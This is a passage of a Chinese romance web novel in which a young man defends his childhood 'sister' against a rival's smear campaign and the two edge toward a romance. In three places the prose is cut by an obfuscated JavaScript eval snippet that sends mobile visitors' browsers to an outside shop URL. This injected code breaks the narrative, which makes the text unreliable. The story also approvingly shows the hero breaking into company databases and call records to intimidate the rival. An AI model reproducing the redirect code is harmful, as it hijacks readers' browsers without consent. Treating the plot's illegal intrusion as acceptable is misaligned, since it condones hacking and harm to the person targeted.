晏铮低下头,看着怀里的人。路灯的光线勾勒出她微张的嘴唇和睁大的眼睛。 他抱着她,清晰地感受到她的重量,她的柔软,以及她身体传递过来的细微战栗。 刚才的怒火,完全被更汹涌和原始的情绪取代了。 他喉结滑动,一字一句地告诉她:“隋心喜,你看清楚,我不是十年前那个站在你家门口等你开门、需要你保护的小男孩了。我现在是个男人!我能赚很多的钱,我能处理麻烦,我能保护我自己,也能抱得动你。我不是你弟弟!你明白吗?我不是!” 隋心喜当然明白。 从他不动声色地入侵她的生活开始,她心里那个“弟弟”的形象,已经渐渐被眼前这个充满侵略性和占有欲的真实男人所取代。 她无法再把他当弟弟看。 这念头在她心里盘踞已久,只是被她拼命压制。 此刻,被他这样紧紧地抱在怀里,听着他赤裸裸的宣告,她只觉得全身的血液都涌上了脸颊。 她想回应,想说“我知道”,想说“我也没把你当弟弟了”,巨大的冲击却让她一个字也说不出来。 晏铮看着那近在咫尺的脸,高度紧张的神经却误读了她的沉默。 他是不是太冲动了?这样的语言和行为太过界了?她吓到了? 这些念头像一盆冷水浇下来,他眼底翻涌的激烈情绪被懊悔所取代了。 他将她放了下来,让她双脚重新踩在坚实的地面上,沮丧道:“对不起,我不该这样。你脚怎么样?能走吗?” 他一边问,一边低头想去查看她崴到的脚踝,可又在快要碰到她时顿住了,似乎怕再次唐突。 他和刚才那个宣告自己是个男人的强势姿态判若两人,又变回了平时的奶狗模样。 离开了晏铮的怀抱,周围的冷空气重新涌来,隋心喜也清醒了许多。 她站稳身体,活动了一下脚踝。还好,只是稍微崴了一下,有点疼,但骨头没事。 “没事”,她深吸一口气,努力平复狂乱的心跳,声音还有些不稳,“能走。” 晏铮闻言,松了口气,“我扶你,慢点回去。” 隋心喜没有拒绝。 她借着晏铮手臂支撑的力量,低着头,慢慢地挪动脚步。 刚才那电光火石间发生的一切,还在她脑子里嗡嗡作响,她甚至不敢看他。 晏铮也没再说话,他懊恼自己的冲动,又压抑不住心底那份被她彻底搅乱的悸动。 他猜不透她的真实想法,只有路灯把他俩依偎在一起的身影拉得很长。 24. 第 24 章 晏铮躺在床上,翻了个身,却怎么也睡不着。 他喉咙有点干,半坐起来去摸床头柜上的水杯,却发现是空的。 黑暗里,手机屏幕忽然亮了,是储嘉骐连着发来了几条微信。 【睡了没?】 【出事了,你看链接!】 【木万妮居然散播你姐谣言,帖子、群聊都有】 一看到隋心喜的名字,晏铮立刻坐起来。 他点开其中一个链接,那是一个八卦论坛的帖子,标题像刀子一样扎眼:【富邦科技隋姓高管,竟是某大佬圈养金丝雀?项链疑云,深夜寻找牵出特殊惩罚!】 帖子的内容添油加醋,下面评论更是不堪入目,有人直接点名隋心喜,有人猜测金主身份,有人用语极其肮脏。 晏铮的呼吸一下子变粗了,太阳穴突突地跳。 他捏紧了手机,点开储嘉骐的另一条语音。 【我这边初步查了下来源,是个新注册的小号首发。IP做了多层跳转,但最终关联到一个叫赵富的手机,这人是木万妮的跟班。现在扩散很快,我清理一下?】 晏铮直接拨通了储嘉骐的电话,“储哥,你调动你那边能调的所有资源,务必在天亮之前,让这些东西在网上彻底消失。” 储嘉骐犹豫了一下,“我只能说尽量,源头账户还在活动,传播节点太多,完全堵死有难度,尤其是一些私人圈子的截图转发……” 晏铮打断他,“你那边清理公众平台是第一优先级,特别是先掐断富邦内部的传播。源头和后续反击,我来处理。” “行吧,我亲自盯着清理进度”,储嘉骐顿了顿,又问:“你还在老家,计划怎么处理木万妮?” 晏铮没有多想,掀开被子跳下床,“我得马上回江市,大年三十的没有高铁票就包个车回去。” —————————— 天刚破晓,一辆网约车就停在了老家的小区门口。这是晏铮花了大价钱搞来的。 司机帮着放好行李,车子驶上空旷的环线。 晏铮靠在后座,迅速打开笔记本电脑连上手机热点。 他点开软件窗口,手指在键盘上快速敲击,白色的代码字符在黑色背景上如瀑布滚落。 他在搜木万妮。 他原本以为,上次查到项链的事,就能让她老实。 但是,他低估了她的恶毒和下作。现在既然她要来阴的,就别怪他掀她的老底。 他用储嘉骐提供的木万妮基本信息做起点,绕过几个不太坚固的商用数据库防火墙,调取了木万妮在天骅集团的加密人事档案。 他锁定了她几年前负责过的一个大型设备采购项目,最终审计报告上有个备注:部分物料损耗异常,后续处理完毕(责任人已离职)。 晏铮的眼神锁定在备注这行字上,继续输入指令。 他调取了天骅内部通讯的部分存档,大量的邮件碎片和内部聊天记录被筛选出来。 他用关键词过滤掉无关信息,重要部分逐渐浮现。 木万妮频繁联系过一个叫邱明的仓库管理员,通过邮件指示他紧急处理一批特定编号的设备配件,要求将其移出常规仓库。 最后一次邮件后,审计问题爆发。 最终内部报告认定是邱明严重失职。他私自违规转移物料导致丢失,要负全责。 邱明虽然被开除了,但财务记录显示,他随后收到一笔远高于法定赔偿金的汇款。 晏铮继续搜寻,又找到一份邱明签署的保密协议:他承认所有责任,放弃追诉,并对公司及所有相关方保密。 证据链已经很清楚了。木万妮利用职权侵占或盗窃公司财产,事后找个无权无势的小职员顶缸脱罪。 这就是她光鲜履历下的第一个烂疮。 紧接着,晏铮又破解了木万妮的通话记录,发现她和一个罗姓地产老总联系过于频繁。 那些通话时间和长度,都显示两人并非简单的商业伙伴关系。 而这位罗总,是已婚的中年男人,老婆姓王,娘家背景硬,本人是出了名的暴脾气。 晏铮冷笑一声,新建一封匿名邮件,把查到的几张关键照片打包压缩。 邮件正文只有一句话,【罗太太:祝您新年快乐,附赠您丈夫与天骅集团木万妮女士长期深入交流的证据。】 做完这些,他没有着急点击发送按钮,而是关了电脑,闭目养神。 耗子要慢慢地逗,才是折磨。 网约车到达江市的时候,已经是晚上。 晏铮吩咐司机直奔木万妮住的高档小区,地址他早就背熟了。 他站在木万妮的家门前,持续地按下了门铃。 过了一会儿,里面传来踢踏的拖鞋声,夹杂着女人被吵醒后的不满话语:“谁啊?哪个神经病大晚上地按门铃?” 木万妮将大门拉开一条缝,安全链还挂着。 可是,当她一看到门外站着的人时,下意识地就要关门。 晏铮却不让。他的脚夹在门缝间,又一大掌拍在门上,“开门!” 木万妮只感觉冬夜寒冷的空气在周身凝固了。 她抓紧了睡袍领口,强撑着气势喊道:“开什么门,你私闯民宅!我警告你,立刻给我滚,不然我叫保安了!” 晏铮嗤笑出声,直接掏出一沓打印好的资料扔进门缝里,“看看你干的好事。” 木万妮愣了愣,弯腰捡起其中几张。 她看到了那些找邱明顶罪的文件截图,脸色一下惨白如纸。 她指着晏铮,手指抖得像风中的叶子:“你……你疯了,这是假的!我和你无冤无仇,你大半夜的跑来诬陷我!” 晏铮冷眼看着她的表演,“需要我帮你回忆一下,那批设备配件最后去哪儿了吗?需要我告诉你,邱明拿了你的封口费,现在在哪个工地搬砖吗?也许只要资金到位,他还是非常愿意聊聊当年的事?” 木万妮的瞳孔剧烈收缩,呼吸也急促起来。 她看着晏铮那双毫无波澜的眼睛,终于意识到,眼前这个看似年轻的男孩,不是什么她可以随意拿捏的小角色。 她强装的镇定渐渐瓦解,“你到底是谁……你想怎么样?” 晏铮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16590554|185851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的声音依然冰冷,“我只想让你知道,你惹错了人,更动错了人。” “你少吓唬我!”木万妮色厉内荏地尖叫起来,试图用声音壮胆。 她掏出手机打给物业,“保安!保安!快来人啊!这里有疯子私闯民宅!快把他抓走!” “你放心,我马上就走”,晏铮嘴角勾起毫无温度的弧度,“但从今天开始,我会陪你玩。玩到你主动爬过来求我为止。” —————————— 木万妮几乎一晚上没合眼,晏铮的话语一直在耳边晃着。 直到天快亮了,她困得受不了,才睡了过去。 不知过了多久,门外忽地响起激烈的拍打声。 她惊醒过来,心跳加速,皱着眉往门口走。 她本想透过猫眼看出去,却发现猫眼不知道什么时候被人堵上了,里面只有一片黑影。 拍门声更急了,外面的人好像很生气。 木万妮犹豫了一下,拉开一条门缝。 就在这时,门被一股大力猛地撞开,几个高大的男人挤了进来,木万妮直接摔倒在地。 一个穿着昂贵套装的女人走了进来,怒气冲冲地盯着她。 木万妮认得这个女人,她就是罗太太。 她瞬间明白怎么回事,刚想为自己辩解几句,罗太太抬手就扇了过来。 她的头被打得偏向一边,半张脸火辣辣的疼。 “给我打!”罗太太仍不解气,尖声命令,那几个壮汉立刻动手。 顿时,雨点般的拳头和脚落在木万妮的手臂上、背上、腿上,罗太太站在旁边看着,嘴里骂着很难听的话。 木万妮嘴里全是血味,浑身都疼,感觉自己像散了架。但她只能尽量缩成一团,希望这顿打快点结束。 终于,男人们停了下来,退到罗太太身后。 罗太太蹲下身,一把抓住木万妮的头发。她被迫看着罗太太愤怒扭曲的脸。 “臭婊子!”罗太太朝她脸上啐了一口,“你也配碰我老公?这次是给你个教训!再让我知道你靠近他,我让你在江市彻底消失,听到没有?” 木万妮头发被扯得很疼,她想点头但动不了。她含混道:“听……听到了……” 罗太太嫌恶地松开她,又拿出手帕擦了擦手,转身带着几个男人离开了。 木万妮在地上缓了半天,才慢慢坐起来,靠在旁边的矮柜上喘气。 她挪到穿衣镜前,被镜子里的人吓了一跳。 她头发乱得像鸡窝,脸肿得老高,颧骨那里一片青紫,眼睛更是只剩一条缝。 她看着惨不忍睹的自己,心里涌起强烈的恨意。她恨罗太太,更恨晏铮。 但是,晏铮能查到她勾引罗总,能查到她的盗窃癖,他的手里肯定还有更多东西。 他昨天就警告过她的,他要慢慢玩。 今天罗太太的事只是一个开始,万一他把她几年前盗窃和找人顶罪的事情抖出来,她不仅工作保不住,可能还得坐牢。 她越想越害怕,顾不得去医院处理伤口,急匆匆地就打给赵富去查晏铮的信息。 25. 第 25 章 江市高铁站,返程高峰的人流正乌泱泱地往外涌。 隋心喜拖着行李箱,跟着人群往外走。 快到私家车接站区时,她一眼就看到了熟悉的车子。 晏铮今天穿了件工装羽绒服,正站车旁等着,不住地朝出站口这边张望。 隋心喜拖着箱子快步走过去,对着晏铮笑笑,“天气冷,怎么不上车里坐着?” “没事”,晏铮很顺手地接过她的行李,“你路上累吧?” “还行”,隋心喜坐进副驾驶的位置,里面暖气开得很足。 车子平稳地汇入车流。 隋心喜看着前方,街上的红灯笼还没撤完。 她问晏铮:“你春节怎么回事,年都没过就跑了?我大年三十来找你吃年夜饭,才发现你回江市了。” 晏铮握着方向盘,嘴角的笑意淡了点,“那个啊……实习单位有点急事,储总催得紧,说项目卡住了,人手不够,让提前回来帮忙处理。” 隋心喜有点意外,“你们实习生也这么忙?老板都不过年的吗?” 晏铮的手指在方向盘上敲了敲,“嗯,他是工作狂,赶上事儿了,管你休不休息。不过好在说算加班费。” 隋心喜没再追问,转头看向窗外,车里只剩下电台主持人的说话声。 车子等红灯的时候,晏铮侧过脸看了她一眼:“你怎么不说话,是不是不信我啊?” 隋心喜摇摇头,“没不信。工作嘛,能理解。对了,你前面右转,我得回公司一趟。” 晏铮愣了一下,“今天才初七吧?” “你要加班,我也要加班”,隋心喜无奈地笑了声,“王雪上午给我发信息,说节前有个项目报告还有点尾巴没弄利索,一上班就要用。我得回去拿材料,省得明天一早抓瞎。” —————————— 二十分钟后,车子拐进了写字楼的停车场。 隋心喜先下了车,对晏铮道:“你等我一下,我很快下来。” 晏铮也下了车。他扶着车门,正要说点什么,街角处突然冲出来一个跌跌撞撞的人影。 那人裹着一件大衣,脸上戴着墨镜和口罩,头上还严严实实地包着条大围巾。 她慌乱地扑到晏铮旁边,死命抓住他的手臂,“晏先生,你别走!求求你,听我说!” 尽管裹得像个粽子,晏铮还是一下子认出了木万妮的声音和身形。 他的脸色沉下来,用力想把手抽回来,但她怎么也不肯撒手。 “放手!”晏铮低喝一声,带着吓人的狠劲。 “我不放!晏先生,我错了,我真的知道错了!求求您放过我这一次!” 木万妮的墨镜片后面好像有水光,“我春节这几天一直在找您,吃不下睡不着,天天做噩梦!今天好不容易等到您了,我求您高抬贵手,您要我怎么做都行!” 她语无伦次,抓着晏铮的手像是抓着最后一根稻草,身体软得要往下滑,“道歉也行,澄清也好,您说怎么样就怎么样!只要您别再往外放东西,我求求您了!” 晏铮眉头拧成了疙瘩,眼底的厌恶和怒火压都压不住。 他猛地使劲一甩胳膊,总算摆脱了木万妮的双手。 他迅速站到隋心喜面前,挡住木万妮,声音冷得像冰碴子:“滚远点,我没工夫听你在这儿嚎!” “晏先生,求您了!给我一分钟,就一分钟!”木万妮被甩得踉跄后退,差点摔倒,又不管不顾地扑上来,“我不该乱说话,是我嘴贱!您大人有大量……” “我叫你滚一边去说!”晏铮音量突然拔高,眼神凌厉地扫过木万妮,脸上却有一闪而过的慌乱。 其实他最怕的,就是木万妮这个疯婆子,在隋心喜面前嚷出那些恶心的谣言。 他不想让她受到任何伤害,必须立刻把木万妮赶走! 可就在这时,隋心喜上前一步,站到晏铮旁边,“没什么不能说的,就让她在这儿说。” 晏铮扭过头看隋心喜,“姐?你……” 隋心喜没看他。她的目光钉在木万妮的脸上,冷冷道:“木女士,网上那些话,说我是谁的金丝雀,是你让人发的吧?” “我……”木万妮刚想抓住机会开口,隋心喜却又打断她,“你不用急着辩解,也不用道歉,我不需要。” “春节在家,我同事王雪把网上那些截图发给我了。刚看到的时候,我气得浑身发抖,真想立刻撕了造谣那张嘴。不过我很快想明白了,生气没用,哭更没用,我也没有必要拿你们的错误来惩罚自己。” “所以呢,我找了律师。专业的事,交给专业的人办。你,木万妮女士,还有你那个跑腿的赵富先生,你们俩是怎么传播那些诽谤我的东西的,律师那边,都固定好了证据。” “虽然法院现在放假,但律师已经准备好了起诉书和相关材料。大概下周吧,法院的传票和起诉书副本,就能送到你手上。你和赵富,谁也跑不了。这事儿,我跟你们没完。” “什么?你居然要告我?”木万妮像被蝎子蜇了一口,尖叫起来。 她今天豁出去这张老脸,跑来苦苦哀求晏铮,甚至做好了跪下磕头的准备。 只要晏铮肯罢手,她总有机会东山再起。 可是,她做梦都没想到,隋心喜那边,竟然一声不吭地直接起诉她了。 她气得声音都在抖,“你们两个……你们就是要一起整死我是不是?!” 她被巨大的挫败感缠绕着,干脆破罐子破摔,一把扯掉碍事的墨镜和口罩,露出还未伤愈的脸庞。 她瞪着并肩站立的隋心喜和晏铮,怪笑起来:“隋心喜!你装什么冰清玉洁?你这个女人真是虚伪到家了!” 她指着晏铮,目光带着无尽的鄙夷和恶毒,“你对着他可是一口一个弟弟,哪门子的亲弟弟啊?情弟弟吧!” 木万妮的尖锐指责,像块大石头砸进了平静的水坑,水花四溅。 写字楼门口这块地方,平时人来人往只顾着赶路,这会儿像被按下了暂停键。 先是旁边两个刚停好共享单车的年轻人,循着声儿扭头看过来。 站在便利店门口抽烟的老板,也踮着脚往这边瞅。 保安亭里的保安本来在看手机,听见动静不对,探出半个身子。 人们就跟蚂蚁闻着糖味似的,三三两两地聚拢过来。 隋心喜能感觉到周围人脸上写着大大的问号,那些探究的目光,密密麻麻扎在她身上。 “看什么看,没见过吵架啊?”木万妮大概是看到人多了,反而更来劲了。 她冲着围观的人吼了一嗓子,试图把水搅得更浑,“来来来,别客气啊!都来看看这对狗男女,装什么姐弟情深!□□啊呸!” 人群里议论开了,有人指指点点,有人拿出手机,镜头若有若无地对准这边。 保安快步走了过来,一脸严肃:“干什么干什么?别堵在门口闹事。” 就在这时,写字楼的旋转门又出来一个人,正是王雪。 她看到了这边的骚乱,一脸惊讶地走过来,眼神在隋心喜三人之间打转。 隋心喜心里咯噔一下。 王雪知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16595495|185851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道了,就等于公司里的其他人很快也会知道了。 “金丝雀”的谣言才被压下去,现在眼看她又要被卷进新的舆论漩涡。 她舔了舔干燥的嘴唇,对着王雪,也对着那些好奇的眼睛喊出来:“不是!你们别听她胡说!他是我……” 话还没完,她的肩膀就被一只结实的手臂揽了过去,身体完全贴在了晏铮的身侧。 她愕然地抬起头,只看到他线条利落的下颌线。 他对着她笑了笑,又对着所有竖着耳朵的人,一字一句道:“看到了吧,我就是隋心喜男朋友。她叫我‘弟弟’,不过是对我的爱称,是情侣之间的小情趣。” 他顿了顿,目光像冰冷的刀片,在木万妮身上刮过,嘲讽道:“看你这样子,一把年纪了还单着吧?难怪理解不了。人老珠黄,脑子也不好使,净琢磨些下三滥的玩意。” 这话像往油锅里泼了瓢冷水,围观的人群顿时炸开了锅。 “嚯!原来是情侣啊!” “我就说嘛,看着就不像姐弟……” “哇,这小帅哥够猛的,直接怼脸!” “啧啧,那女的有毛病吧,跑这来撒泼?” “哎,那不是富邦的隋心喜吗?找的男友又帅又有男友力啊!” 王雪脸上的困惑也变成了恍然大悟。 她挤开旁边的人,直接走到隋心喜和晏铮面前,“哎呀隋隋,你可真行啊!我说你怎么总遮遮掩掩的,加班晚了有人接,问你还不承认。原来这帅弟弟就是你男朋友啊,难怪上次我让你介绍,你一口就回绝了!” 王雪嗓门不小,周围的人都听得清清楚楚。 隋心喜感觉脸上火烧火燎,晏铮搂着她肩膀的手臂更是像烙铁一样烫。 她想反驳,可晏铮的话已经砸出去了。她不能把场面弄得更难堪。 而晏铮搂着她的手臂也收紧了一下,是在无声地提醒她。 她只好深吸一口气,带着点被撞破的无奈,“王雪,我不是刻意瞒着,就是想我两关系稳固一点,再跟大家说。” “理解理解,你没怎么谈过恋爱嘛,害羞正常!”王雪笑得见牙不见眼,一副过来人的样子,又冲晏铮竖了个大拇指,“不过你男朋友够可以的啊,刚才那话,霸气!” 反观木万妮那边,表情彻底垮了。 她不仅讨不到半点便宜,反而像个跳梁小丑,把自己最后一点脸面都丢尽了。 “好……好得很……你们给我等着!”她撂下一句毫无分量的狠话,转身就想冲出人群的包围圈。 就在这时,街上传来几声短促有力的鸣笛,一辆闪着红蓝警灯的警车,停在了路边。 车门打开,两名穿着制服的民警径直走向正要逃跑的木万妮。 他们出示了证件,确认了木万妮的身份,告诉她:“你涉嫌与几起盗窃案子有关,跟我们走一趟,配合调查!” 话音刚落,一名民警已经上前一步,动作利落地抓住了木万妮的胳膊。 “不,你们凭什么抓我!我没有,是他们陷害我!”木万妮如梦初醒,开始疯狂地挣扎,“放开我,放开!你们知道我是谁吗?我要找律师,我要告你们!” 她的挣扎在训练有素的民警面前毫无作用,反而引来了更多人的驻足张望。 周围的议论声更大了,夹杂着“活该”“报应”“抓得好”之类的感叹。 每个人都伸长了脖子,目送着刚才还气焰嚣张的女人,此刻狼狈不堪地被塞进警车后座。 警灯无声地闪烁着,车门关上,隔绝了木万妮模糊不清的叫骂。 26. 第 26 章 隋心喜推开富邦科技的大门。 她只想拿了资料就走,最好谁都别和她说话。 可惜事与愿违。 她刚在自己工位坐下,王雪端着水杯,快步从茶水间蹿到她跟前,脸上是藏不住的八卦兴奋,“隋隋,你‘弟弟’不上来坐坐吗?” “他上来干嘛”,隋心喜勉强挤出个笑,低头开抽屉,一心想快点找到那份该死的季度报表初稿。 王雪笑得花枝乱颤,“你之前‘金屋藏娇’呢,现在既然都大庭广众公开了,什么时间给大伙正式介绍一下?” 对面的李姐听到两人对话,也加入了话题。 她年纪大些,但一直是办公室里爱张罗的热心肠,“谈恋爱是好事嘛,都什么年代了,姐弟恋怎么了?我刚才在楼上也看到了,那小伙子挺帅气啊,你两什么时候请我们喝喜酒?” “心喜姐,男主角多大了啊?看着好年轻,是大学生吗?”新入职的小吴也一脸好奇地探过头,眼睛亮晶晶的。 “哎呀,你们就别围着隋隋了”,王雪看热闹不嫌事大,故意提高声音,“人家刚公开,还没适应呢!不过这么大的喜事,是不是得请客啊?庆祝咱们富邦一枝花终于名花有主啦!” “对,请客!必须请!” “就是就是,心喜姐请吃饭!” “择日不如撞日,就今晚吧!” “赞成!附近新开那家火锅不错!” 起哄的声音一下子响了好几个,连隔壁组的同事都闻声围过来。 大家七嘴八舌的,隋心喜被堵在工位边上,耳边嗡嗡的像有无数只小虫子在钻。 她看着一张张或真心祝贺或凑热闹的脸,只觉得胸口发闷,有股深深的无力感。 楼下晏铮那番话,已经堵死了所有解释的路。她再说什么,只会显得更矫情更可疑。 她深吸一口气,抬起手往下压了压,“好了好了……谢谢大家关心。吃饭可以,但今晚不行,太仓促了。明天吧,明天是节后上班第一天,下班后我请大家,你们定地方,别太贵就行。” “哇!心喜姐万岁!” “大气!” “明天吃大餐咯!” “我去看看哪家好吃!” 办公室里的欢呼声响成一片,每个人都喜笑颜开,除了被围在中间的隋心喜。 她总算在抽屉最底下摸到了那份报表,连忙抽出来攥在手里。 “我还有事,先走了”,她挤出人群,逃也似的往电梯口快步走去,身后还能听到王雪笑着喊:“明天带你家‘弟弟’一起来啊!” —————————— 隋心喜上了车,将那份攥得有些发皱的报表,扔在了后排。 她靠在椅背上,闭上眼睛,长长地呼出一口气。 晏铮坐直了身体,目光一直锁在她脸上。 他喉结动了动,刚才那种掌控全局的气势,已经消失得无影无踪。 他小心翼翼地开口:“姐?” 隋心喜没睁眼,也没应声。 晏铮心里更没底了。他迅速组织好语言:“木万妮那疯女人,张嘴就乱咬人。当时那么多人围着看,我说我是你男朋友,最能堵她的嘴,也省得以后麻烦不断。姐,我不是故意的,就是不想再有人嚼你舌根了。” 隋心喜终于睁开了眼睛,侧过头。她的眼神很平静,平静得让晏铮心里发毛。 她点了下头,“嗯,你那方法是挺干脆的。不过现在戏演完了,没有外人了。” 晏铮的心一沉,一种不好的预感攥紧了他,“什么意思?” 隋心喜沉默了一会,努力避开会让彼此难堪的字眼,“我们是邻居,是姐姐和弟弟。等过一段时间,大家不怎么关注这事了,我会找个合适的理由,说我们性格不合,或者别的什么,自然而然就分开了。这样对大家都好。” “为什么?”晏铮的声音兀地拔高。他马上又意识到失态,想强压下去,但里面的急切和抗拒根本藏不住,“我哪里做得不够好吗?” 他身体不由自主地朝她这边倾过来,眼神灼热,“我知道现在说这个不合适,但我真的不是小孩了!我很快就大学毕业,也有能力保护你。你看,木万妮那事……” “我不需要你保护”,隋心喜打断他的话,“一点都不需要。” 晏铮被她这句话钉在原地,后半截话卡在喉咙里。 “那个关于我的黄谣,你早就知道了吧?所以在老家的时候,你才一声不响,年都没过就急匆匆跑回江市”,隋心喜看到晏铮瞳孔微缩,知道自己猜中了,“你想干什么?像以前帮助被霸凌的章平一样,用你的办法,替我把事情解决掉?” 晏铮的嘴唇抿成一条直线,没有否认。 “我也找了律师,提供了证据,这是我的方法”,隋心喜抬了抬下巴,有着职场女性的冷静,“你说你是成年男人,好。那你也应该明白,我的事情,我可以自己负责,你不用替我冲锋陷阵。” 晏铮神色复杂地看着她。 此刻,他多么想不管不顾地倒出所有心思:他做这一切,只是因为他受不了任何人伤害她,因为他喜欢她。 可是,她的眼神是那么的冷…… 如果他敢表白,她大概率会像受惊的鸟一样飞走,甚至把他赶出她的生活,连“弟弟”这个身份都收回。 她做得出来。她现在的冷静,就是一种无声的警告。 晏铮胸腔里滚烫的冲动,被硬生生摁了回去。 他的肩膀垮了下来,眼神中的不甘也褪去了。 再开口时,他的声音低哑下去,“对不起,姐。是我没跟你商量就乱来,又给你添麻烦了。” 他恢复了那副她最熟悉的“奶狗弟弟”模样,“我都听你的,就按你说的办吧。” 车内陷入了安静,空调的送风声格外清晰。 天渐渐暗了,窗外的城市灯火流转,光影掠过隋心喜的侧脸。 晏铮的道歉和妥协,并没有让她感到轻松。相反,一种更难言喻的情绪,也在她心底弥漫开来。 其实,当晏铮在众目睽睽之下,毫不犹豫地搂住她,说出“我是她男朋友”时,她心跳漏掉一拍,血液似乎都冲到了脸上。 她是激动的。那股一直被她压抑的隐秘情感,在他强势的宣告下,蠢蠢欲动。 然而,母亲那张严肃的脸,同一时间浮现出来。 春节回家,她试探性地提了一下,晏铮为了方便实习,现在住在她那里。 母亲立刻皱起眉头,“心喜啊,你一个姑娘家,要注意影响。小铮也大了,他是男孩子,总住在你那算怎么回事?邻居会说闲话的,别让人误会了!” 是啊,在庞夏蕊那一辈人的观念里,他们只能是姐弟,任何逾越都是不可接受的。 正是这份沉甸甸的反对,像一盆冷水,浇灭了她心底那点不该有的悸动。 晏铮那个构建出来的男朋友身份,再动听,再让她心跳加速,也只是暂时的虚假避风港。 而她隋心喜,从小到大都是脚踏实地的人,容不得这种建立在自我麻痹上的虚幻关系。 与其沉溺片刻的温暖,然后面对更残酷的破碎,不如一开始就清醒地站在岸边,远离那看似诱人的漩涡。 —————————— 晚上九点,隋心喜在酒吧里眯着眼扫了一圈,在角落的卡座里看见了一颗熟悉的脑袋。 王贤正歪在沙发里刷手机,屏幕的光照得他脸白晃晃的。 他听见隋心喜的声音,抬起头,“哟,舍得露面了?隋大小姐日理万机,约你可真不容易。” 隋心喜在他身旁坐下,故意拿话噎他:“少来这套。王大少爷连招呼都不打一个突然跑回来,国外混不下去了?” “靠,别提了!”王贤被戳了痛处,整个人往沙发背上一瘫,平时的潇洒全没了,“我这是倒了八辈子血霉,真他妈瞎了眼!” “怎么了这是?”隋心喜看他真蔫了,也收起玩笑的心思。 王贤一脸愤懑,“老子好不容易掏心掏肺,以为遇到真爱了!你记得吧?就上次视频给你看那混血模特,帅得人神共愤那个。” 隋心喜点点头,有点印象,王贤当时在视频里兴奋得像中了彩票。 “我追着他屁股后面跑去了纽约啊,伺候祖宗一样。他妈的居然是个双插头,这边哄着我给他投资搞什么狗屁艺术工作室,那边还吊着俩富婆。我的钱啊,全他妈打水漂了!最后连滚回来的机票钱,都是刷爆了信用卡才凑出来的!”他说得咬牙切齿,端起杯子狠狠灌了一口。 隋心喜没忍住笑出声,看他眼神要杀人,赶紧捂住嘴:“你这也太惨了点。” 她拍了拍王贤的胳膊,“不过你王大少爷怕什么?就凭你这张脸,这身段,还有这张叭叭叭的小嘴,追你的帅哥,从这酒吧排队排到江边都富裕吧?你甩过多少个了都?你看看我,母胎solo到现在,跟谁哭去?” 王贤没反驳,只是那双狭长的凤眼上上下下地扫视她。 “欸,说到这个”,他的眼神变得探究,“你家那小帅哥,晏铮现在怎么样了?是不是长开了更好看了,得有二十出头了吧?” 隋心喜脸上的笑意凝了一下,拿起酒杯假装研究里面的液体和冰块。“就那样呗,上大学呢。” “就那样?”王贤拖长了调子,明显不信,“我可记得贼清楚。那小子小时候,就爱跟在你后头,小尾巴似的,甩都甩不掉,姐姐姐姐叫得一个甜。现在肯定是个大帅哥了吧?个子高不高?有没有女朋友?” “不知道!”隋心喜回答得飞快,“你问这些干嘛?他小孩一个,忙学业呢。” 王贤嗤笑一声,“二十多的大小伙子还小孩?隋心喜,你糊弄鬼呢?” 他故意停顿了一下,笑得像个狐狸,“哎呀,你不说算了。我最喜欢帅哥了,特别是那种刚长成的小狼狗小奶狗混合体……啧啧,想想都带劲。你不是说我魅力大嘛,看看我能不能把他掰弯?” “王贤!”隋心喜脸蹭地涨红,“你敢?不许你打他主意,听见没有!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“什么弟弟姐姐的,扯淡!”王贤话语里带着恨铁不成钢的味道,“晏铮现在是个成年人,二十二岁,不是十二!他有脑子,有想法,知道自己在干什么。你两互相有意思,那正好一拍即合啊!你两还比别人多相处了十几年呢,多好的基础!” “那万一不行呢”,隋心喜嘟囔着,没什么底气,“万一试了不行,以后见面多尴尬,连现在的样子都维持不了了。” “隋心喜啊!”王贤气得想敲她脑袋,“你都快三十了,怎么还跟个十六岁的小姑娘似的瞻前顾后?你光在这瞎琢磨,不试试你永远不知道行不行!退一万步说,就算你们不合适,处了几个月或者几年分了,那又怎么样?也比你现在这样天天自己跟自己较劲,心里跟猫抓似的强一万倍吧?至少你试过了,努力过了,对自己有个交代了!总好过几十年后,你想起这事后悔得想撞墙:‘哎呀当年要是勇敢一点就好了!’你愿意那样?” 王贤的话像连珠炮一样砸过来,每一句都敲在隋心喜心里最摇摆的地方。 她怔怔地看着他,眼神里的迷茫和退缩,渐渐被驱散。 王贤看她听进去了,又继续‘上课’:“再说了,你以为你现在这样,对晏铮就公平?你俩搁这儿互相猜,互相躲,互相折磨,这叫浪费生命,浪费感情!你痛快点,行就行,不行拉倒,对大家都好!” “你不用总觉得你是姐姐,就要替他承担所有后果。他该为自己的选择和感情负责了,而你,只需要为你自己的心负责。” 隋心喜还是有点犹豫,“话是如此,但是我妈不同意。” 王贤愣了一下,夸张地捂住了肚子,笑得肩膀一耸一耸的。“哎哟隋心喜同志,您今年贵庚啊?你以后的日子是跟你妈过一辈子,还是跟你喜欢的男人过一辈子?” 隋心喜被问住了。 